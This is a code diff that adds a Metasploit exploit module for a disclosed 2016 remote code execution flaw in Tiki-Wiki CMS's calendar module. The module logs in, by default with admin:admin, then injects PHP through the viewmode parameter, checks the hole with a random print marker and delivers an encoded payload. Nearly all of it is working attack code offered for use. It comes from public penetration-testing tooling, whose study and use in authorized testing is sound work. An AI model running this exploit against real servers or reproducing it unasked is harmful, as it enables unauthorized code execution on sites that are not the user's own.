|
| 1 | +## |
| 2 | +## This module requires Metasploit: http://metasploit.com/download |
| 3 | +## Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +### |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + |
| 10 | + Rank = ExcellentRanking |
| 11 | + |
| 12 | + include Msf::Exploit::Remote::HttpClient |
| 13 | + |
| 14 | + def initialize(info = {}) |
| 15 | + super( |
| 16 | + update_info( |
| 17 | + info, |
| 18 | + 'Name' => 'Tiki-Wiki CMS Calendar Command Execution', |
| 19 | + 'Description' => %q( |
| 20 | + Tiki-Wiki CMS's calendar module contains a remote code execution |
| 21 | + vulnerability within the viewmode GET parameter. |
| 22 | + The calendar module is NOT enabled by default. If enabled, |
| 23 | + the default permissions are set to NOT allow anonymous users |
| 24 | + to access. |
| 25 | +
|
| 26 | + Vulnerable versions: <=14.1, <=12.4 LTS, <=9.10 LTS and <=6.14 |
| 27 | + Verified/Tested against 14.1 |
| 28 | + ), |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'h00die <[email protected]>', # module |
| 32 | + 'Dany Ouellet' # discovery |
| 33 | + ], |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'EDB', '39965' ], |
| 37 | + [ 'URL', 'https://tiki.org/article414-Important-Security-Fix-for-all-versions-of-Tiki'] |
| 38 | + ], |
| 39 | + 'License' => MSF_LICENSE, |
| 40 | + 'Platform' => %w( php ), |
| 41 | + 'Privileged' => false, |
| 42 | + 'Arch' => ARCH_PHP, |
| 43 | + 'Targets' => |
| 44 | + [ |
| 45 | + [ 'Automatic Target', {}] |
| 46 | + ], |
| 47 | + 'DefaultTarget' => 0, |
| 48 | + 'DisclosureDate' => 'Jun 06 2016' |
| 49 | + ) |
| 50 | + ) |
| 51 | + |
| 52 | + register_options( |
| 53 | + [ |
| 54 | + Opt::RPORT(80), |
| 55 | + OptString.new('TARGETURI', [ true, 'The URI of Tiki-Wiki', '/']), |
| 56 | + OptString.new('USERNAME', [ false, 'Username of a user with calendar access', 'admin']), |
| 57 | + OptString.new('PASSWORD', [ false, 'Password of a user with calendar access', 'admin']) |
| 58 | + ], self.class |
| 59 | + ) |
| 60 | + end |
| 61 | + |
| 62 | + # returns cookie regardless of outcome |
| 63 | + def authenticate |
| 64 | + begin |
| 65 | + # get a cookie to start with |
| 66 | + res = send_request_cgi( |
| 67 | + 'uri' => normalize_uri(target_uri.path, 'tiki-login_scr.php'), |
| 68 | + 'method' => 'GET' |
| 69 | + ) |
| 70 | + cookie = res ? res.get_cookies : '' |
| 71 | + # if we have creds, login with them |
| 72 | + vprint_status('Attempting Login') |
| 73 | + # the bang on the cgi will follow the redirect we receive on a good login |
| 74 | + res = send_request_cgi!( |
| 75 | + 'uri' => normalize_uri(target_uri.path, 'tiki-login.php'), |
| 76 | + 'method' => 'POST', |
| 77 | + 'ctype' => 'application/x-www-form-urlencoded', |
| 78 | + 'cookie' => cookie, |
| 79 | + 'vars_post' => |
| 80 | + { |
| 81 | + 'user' => datastore['USERNAME'], |
| 82 | + 'pass' => datastore['PASSWORD'], |
| 83 | + 'login' => '', |
| 84 | + 'stay_in_ssl_mode_present' => 'y', |
| 85 | + 'stay_in_ssl_mode' => 'n' |
| 86 | + } |
| 87 | + ) |
| 88 | + # double check auth worked and we got a Log out on the page. |
| 89 | + # at times I got it to auth, but then it would give permission errors |
| 90 | + # so we want to try to double check everything is good |
| 91 | + if res && !res.body =~ /Log out/ |
| 92 | + fail_with(Failure::UnexpectedReply, "#{peer} Login Failed with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") |
| 93 | + end |
| 94 | + vprint_good("Login Successful!") |
| 95 | + return cookie |
| 96 | + rescue ::Rex::ConnectionError |
| 97 | + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") |
| 98 | + end |
| 99 | + end |
| 100 | + |
| 101 | + # sends the calendar packet, returns the HTTP response |
| 102 | + def send_calendar_packet(cookie, data) |
| 103 | + begin |
| 104 | + return send_request_cgi( |
| 105 | + 'uri' => normalize_uri(target_uri.path, 'tiki-calendar.php'), |
| 106 | + 'method' => 'GET', |
| 107 | + 'cookie' => cookie, |
| 108 | + 'vars_get' => |
| 109 | + { |
| 110 | + 'viewmode' => "';#{data};$a='" |
| 111 | + } |
| 112 | + ) |
| 113 | + rescue ::Rex::ConnectionError |
| 114 | + fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service") |
| 115 | + end |
| 116 | + end |
| 117 | + |
| 118 | + # Version numbers are post auth, so we send a print statement w/ |
| 119 | + # 10 random characters and check for it in the response |
| 120 | + def check |
| 121 | + if datastore['USERNAME'] && !datastore['USERNAME'].blank? |
| 122 | + cookie = authenticate |
| 123 | + end |
| 124 | + |
| 125 | + flag = Rex::Text.rand_text_alpha(10) |
| 126 | + res = send_calendar_packet(cookie, "print(#{flag})") |
| 127 | + |
| 128 | + if res |
| 129 | + if res.body =~ /You do not have permission to view the calendar/i |
| 130 | + fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required") |
| 131 | + elsif res.body =~ />#{flag}</ |
| 132 | + Exploit::CheckCode::Vulnerable |
| 133 | + else |
| 134 | + Exploit::CheckCode::Safe |
| 135 | + end |
| 136 | + end |
| 137 | + end |
| 138 | + |
| 139 | + def exploit |
| 140 | + if datastore['USERNAME'] && !datastore['USERNAME'].blank? |
| 141 | + cookie = authenticate |
| 142 | + end |
| 143 | + |
| 144 | + vprint_status('Sending malicious calendar view packet') |
| 145 | + res = send_calendar_packet(cookie, payload.encoded) |
| 146 | + if res && res.body =~ /You do not have permission to view the calendar/i |
| 147 | + fail_with(Failure::NoAccess, "#{peer} - Additional Permissions Required") |
| 148 | + end |
| 149 | + end |
| 150 | + |
| 151 | +end |
0 commit comments